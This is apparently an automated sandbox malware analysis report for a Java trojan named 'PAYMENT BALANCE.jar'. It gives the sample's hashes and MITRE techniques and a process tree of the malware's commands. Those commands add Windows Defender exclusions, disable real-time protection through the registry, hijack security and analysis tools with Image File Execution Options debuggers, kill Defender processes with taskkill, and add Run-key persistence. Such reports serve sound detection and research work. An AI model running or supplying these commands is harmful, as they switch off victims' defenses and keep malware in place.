4b3f7e36e864c21af17bb9a7d0bfecbbbdb0a5fb7b36fa1e86dbb28e159eae04

Analysis

max time kernel
150s
max time network
124s
platform
windows7_x64
resource
win7v200722
submitted
31-07-2020 11:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PAYMENT BALANCE.jar
Size

399KB
MD5

a130fcf39bda045ad6ae50b94e72459c
SHA1

c89b5d7ec693ba7dafb6836dc38912f90719754f
SHA256

4b3f7e36e864c21af17bb9a7d0bfecbbbdb0a5fb7b36fa1e86dbb28e159eae04
SHA512

afe747cb6c73d08c0dca8d4841ec9af10062afb29ccd291e5437313bc6baadb1b047e18122b2689918ba47daeae77237a0eafc92c18262d32ddac5aa21b08f0c

Score

10^/10

discovery persistence evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

108 java.exe
Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File created C:\Windows\System32\MNDOs java.exe
File opened for modification C:\Windows\System32\MNDOs java.exe

pid	process
108	java.exe

description	ioc	process
File created	C:\Windows\System32\MNDOs	java.exe
File opened for modification	C:\Windows\System32\MNDOs	java.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

java.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	java.exe
File created	C:\Users\Admin\FVKwo\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	attrib.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1124	taskkill.exe
584	taskkill.exe
328	taskkill.exe
1580	taskkill.exe
1408	taskkill.exe
984	taskkill.exe
1552	taskkill.exe
1480	taskkill.exe
1848	taskkill.exe
432	taskkill.exe
1724	taskkill.exe
432	taskkill.exe
1376	taskkill.exe
584	taskkill.exe
1928	taskkill.exe
1008	taskkill.exe

Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

1636 attrib.exe
1728 attrib.exe
1512 attrib.exe
1232 attrib.exe
1640 attrib.exe
1616 attrib.exe
1576 attrib.exe
1584 attrib.exe

pid	process
1636	attrib.exe
1728	attrib.exe
1512	attrib.exe
1232	attrib.exe
1640	attrib.exe
1616	attrib.exe
1576	attrib.exe
1584	attrib.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\DsGIILk = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\FVKwo\\WbZqr.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\DsGIILk = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\FVKwo\\WbZqr.class\""	java.exe

Suspicious use of WriteProcessMemory 753 IoCs

Processes:

java.execmd.execmd.exe

description	pid	process	target process
PID 108 wrote to memory of 1412	108	java.exe	cmd.exe
PID 108 wrote to memory of 1412	108	java.exe	cmd.exe
PID 108 wrote to memory of 1412	108	java.exe	cmd.exe
PID 108 wrote to memory of 1116	108	java.exe	cmd.exe
PID 108 wrote to memory of 1116	108	java.exe	cmd.exe
PID 108 wrote to memory of 1116	108	java.exe	cmd.exe
PID 1116 wrote to memory of 1724	1116	cmd.exe	WMIC.exe
PID 1116 wrote to memory of 1724	1116	cmd.exe	WMIC.exe
PID 1116 wrote to memory of 1724	1116	cmd.exe	WMIC.exe
PID 108 wrote to memory of 1872	108	java.exe	cmd.exe
PID 108 wrote to memory of 1872	108	java.exe	cmd.exe
PID 108 wrote to memory of 1872	108	java.exe	cmd.exe
PID 1872 wrote to memory of 1884	1872	cmd.exe	WMIC.exe
PID 1872 wrote to memory of 1884	1872	cmd.exe	WMIC.exe
PID 1872 wrote to memory of 1884	1872	cmd.exe	WMIC.exe
PID 108 wrote to memory of 1512	108	java.exe	attrib.exe
PID 108 wrote to memory of 1512	108	java.exe	attrib.exe
PID 108 wrote to memory of 1512	108	java.exe	attrib.exe
PID 108 wrote to memory of 1232	108	java.exe	attrib.exe
PID 108 wrote to memory of 1232	108	java.exe	attrib.exe
PID 108 wrote to memory of 1232	108	java.exe	attrib.exe
PID 108 wrote to memory of 1640	108	java.exe	attrib.exe
PID 108 wrote to memory of 1640	108	java.exe	attrib.exe
PID 108 wrote to memory of 1640	108	java.exe	attrib.exe
PID 108 wrote to memory of 1616	108	java.exe	attrib.exe
PID 108 wrote to memory of 1616	108	java.exe	attrib.exe
PID 108 wrote to memory of 1616	108	java.exe	attrib.exe
PID 108 wrote to memory of 1576	108	java.exe	attrib.exe
PID 108 wrote to memory of 1576	108	java.exe	attrib.exe
PID 108 wrote to memory of 1576	108	java.exe	attrib.exe
PID 108 wrote to memory of 1584	108	java.exe	attrib.exe
PID 108 wrote to memory of 1584	108	java.exe	attrib.exe
PID 108 wrote to memory of 1584	108	java.exe	attrib.exe
PID 108 wrote to memory of 1636	108	java.exe	attrib.exe
PID 108 wrote to memory of 1636	108	java.exe	attrib.exe
PID 108 wrote to memory of 1636	108	java.exe	attrib.exe
PID 108 wrote to memory of 1728	108	java.exe	attrib.exe
PID 108 wrote to memory of 1728	108	java.exe	attrib.exe
PID 108 wrote to memory of 1728	108	java.exe	attrib.exe
PID 108 wrote to memory of 1960	108	java.exe	powershell.exe
PID 108 wrote to memory of 1960	108	java.exe	powershell.exe
PID 108 wrote to memory of 1960	108	java.exe	powershell.exe
PID 108 wrote to memory of 1184	108	java.exe	cmd.exe
PID 108 wrote to memory of 1184	108	java.exe	cmd.exe
PID 108 wrote to memory of 1184	108	java.exe	cmd.exe
PID 108 wrote to memory of 1056	108	java.exe	reg.exe
PID 108 wrote to memory of 1056	108	java.exe	reg.exe
PID 108 wrote to memory of 1056	108	java.exe	reg.exe
PID 108 wrote to memory of 1124	108	java.exe	taskkill.exe
PID 108 wrote to memory of 1124	108	java.exe	taskkill.exe
PID 108 wrote to memory of 1124	108	java.exe	taskkill.exe
PID 108 wrote to memory of 2032	108	java.exe	reg.exe
PID 108 wrote to memory of 2032	108	java.exe	reg.exe
PID 108 wrote to memory of 2032	108	java.exe	reg.exe
PID 108 wrote to memory of 1348	108	java.exe	reg.exe
PID 108 wrote to memory of 1348	108	java.exe	reg.exe
PID 108 wrote to memory of 1348	108	java.exe	reg.exe
PID 108 wrote to memory of 1400	108	java.exe	reg.exe
PID 108 wrote to memory of 1400	108	java.exe	reg.exe
PID 108 wrote to memory of 1400	108	java.exe	reg.exe
PID 108 wrote to memory of 980	108	java.exe	reg.exe
PID 108 wrote to memory of 980	108	java.exe	reg.exe
PID 108 wrote to memory of 980	108	java.exe	reg.exe
PID 108 wrote to memory of 1564	108	java.exe	reg.exe

Suspicious use of AdjustPrivilegeToken 97 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1724	WMIC.exe
Token: SeSecurityPrivilege	1724	WMIC.exe
Token: SeTakeOwnershipPrivilege	1724	WMIC.exe
Token: SeLoadDriverPrivilege	1724	WMIC.exe
Token: SeSystemProfilePrivilege	1724	WMIC.exe
Token: SeSystemtimePrivilege	1724	WMIC.exe
Token: SeProfSingleProcessPrivilege	1724	WMIC.exe
Token: SeIncBasePriorityPrivilege	1724	WMIC.exe
Token: SeCreatePagefilePrivilege	1724	WMIC.exe
Token: SeBackupPrivilege	1724	WMIC.exe
Token: SeRestorePrivilege	1724	WMIC.exe
Token: SeShutdownPrivilege	1724	WMIC.exe
Token: SeDebugPrivilege	1724	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1724	WMIC.exe
Token: SeRemoteShutdownPrivilege	1724	WMIC.exe
Token: SeUndockPrivilege	1724	WMIC.exe
Token: SeManageVolumePrivilege	1724	WMIC.exe
Token: 33	1724	WMIC.exe
Token: 34	1724	WMIC.exe
Token: 35	1724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1724	WMIC.exe
Token: SeSecurityPrivilege	1724	WMIC.exe
Token: SeTakeOwnershipPrivilege	1724	WMIC.exe
Token: SeLoadDriverPrivilege	1724	WMIC.exe
Token: SeSystemProfilePrivilege	1724	WMIC.exe
Token: SeSystemtimePrivilege	1724	WMIC.exe
Token: SeProfSingleProcessPrivilege	1724	WMIC.exe
Token: SeIncBasePriorityPrivilege	1724	WMIC.exe
Token: SeCreatePagefilePrivilege	1724	WMIC.exe
Token: SeBackupPrivilege	1724	WMIC.exe
Token: SeRestorePrivilege	1724	WMIC.exe
Token: SeShutdownPrivilege	1724	WMIC.exe
Token: SeDebugPrivilege	1724	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1724	WMIC.exe
Token: SeRemoteShutdownPrivilege	1724	WMIC.exe
Token: SeUndockPrivilege	1724	WMIC.exe
Token: SeManageVolumePrivilege	1724	WMIC.exe
Token: 33	1724	WMIC.exe
Token: 34	1724	WMIC.exe
Token: 35	1724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1884	WMIC.exe
Token: SeSecurityPrivilege	1884	WMIC.exe
Token: SeTakeOwnershipPrivilege	1884	WMIC.exe
Token: SeLoadDriverPrivilege	1884	WMIC.exe
Token: SeSystemProfilePrivilege	1884	WMIC.exe
Token: SeSystemtimePrivilege	1884	WMIC.exe
Token: SeProfSingleProcessPrivilege	1884	WMIC.exe
Token: SeIncBasePriorityPrivilege	1884	WMIC.exe
Token: SeCreatePagefilePrivilege	1884	WMIC.exe
Token: SeBackupPrivilege	1884	WMIC.exe
Token: SeRestorePrivilege	1884	WMIC.exe
Token: SeShutdownPrivilege	1884	WMIC.exe
Token: SeDebugPrivilege	1884	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1884	WMIC.exe
Token: SeRemoteShutdownPrivilege	1884	WMIC.exe
Token: SeUndockPrivilege	1884	WMIC.exe
Token: SeManageVolumePrivilege	1884	WMIC.exe
Token: 33	1884	WMIC.exe
Token: 34	1884	WMIC.exe
Token: 35	1884	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1884	WMIC.exe
Token: SeSecurityPrivilege	1884	WMIC.exe
Token: SeTakeOwnershipPrivilege	1884	WMIC.exe
Token: SeLoadDriverPrivilege	1884	WMIC.exe

Loads dropped DLL 1 IoCs

Processes:

java.exe

pid process

108 java.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1960 powershell.exe
1960 powershell.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
108	java.exe

pid	process
1960	powershell.exe
1960	powershell.exe

C:\Windows\system32\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\PAYMENT BALANCE.jar"
1⤵
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
- Drops desktop.ini file(s)
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
PID:108

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1412

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1724

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\Oracle
2⤵
- Views/modifies file attributes
PID:1512

C:\Windows\system32\attrib.exe
attrib +h +r +s C:\Users\Admin\.ntusernt.ini
2⤵
- Views/modifies file attributes
PID:1232

C:\Windows\system32\attrib.exe
attrib -s -r C:\Users\Admin\FVKwo\Desktop.ini
2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
PID:1640

C:\Windows\system32\attrib.exe
attrib +s +r C:\Users\Admin\FVKwo\Desktop.ini
2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
PID:1616

C:\Windows\system32\attrib.exe
attrib -s -r C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:1576

C:\Windows\system32\attrib.exe
attrib +s +r C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:1584

C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:1636

C:\Windows\system32\attrib.exe
attrib +h +s +r C:\Users\Admin\FVKwo\WbZqr.class
2⤵
- Views/modifies file attributes
PID:1728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\FVKwo','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\FVKwo\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1960

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1184

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
PID:1624

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
PID:2020

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1056

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F
2⤵
- Kills process with taskkill
PID:1124

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:2032

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1348

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
PID:1400

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:980

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
PID:1564

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:748

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
PID:1840

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1888

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1736

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:432

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1664

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1808

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1292

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1588

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2024

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1472

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1468

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
2⤵
- Kills process with taskkill
PID:1724

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1796

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1228

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1416

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
PID:604

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
PID:1764

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
2⤵
- Kills process with taskkill
PID:584

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1728

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
3⤵
PID:1468

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
3⤵
PID:1376

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1472

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
3⤵
PID:1372

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
3⤵
PID:1168

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1296

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
3⤵
PID:1212

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
3⤵
PID:1732

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
2⤵
- Kills process with taskkill
PID:1408

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1348

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
3⤵
PID:1588

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
3⤵
PID:432

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1888

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
3⤵
PID:604

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
3⤵
PID:1764

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
3⤵
PID:1872

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
3⤵
PID:748

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1580

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
3⤵
PID:1468

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
3⤵
PID:1796

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1624

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
3⤵
PID:2020

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
3⤵
PID:1768

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
3⤵
PID:1504

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
3⤵
PID:1292

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1896

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
3⤵
PID:1664

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
3⤵
PID:1576

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:328

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1340

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
3⤵
PID:1144

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
3⤵
PID:1556

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1764

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
3⤵
PID:1380

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
3⤵
PID:2044

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1372

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
3⤵
PID:1796

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
3⤵
PID:1768

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1876

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
3⤵
PID:1840

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
3⤵
PID:1672

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1008

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:64
3⤵
PID:1504

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:32
3⤵
PID:1436

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1480

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
3⤵
PID:1664

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
3⤵
PID:1576

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1124

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
3⤵
PID:1112

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
3⤵
PID:2028

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1228

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
3⤵
PID:1488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
3⤵
PID:1240

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
2⤵
- Kills process with taskkill
PID:432

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1056

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:64
3⤵
PID:984

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:32
3⤵
PID:1460

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1408

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
3⤵
PID:1376

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
3⤵
PID:1468

C:\Windows\system32\cmd.exe
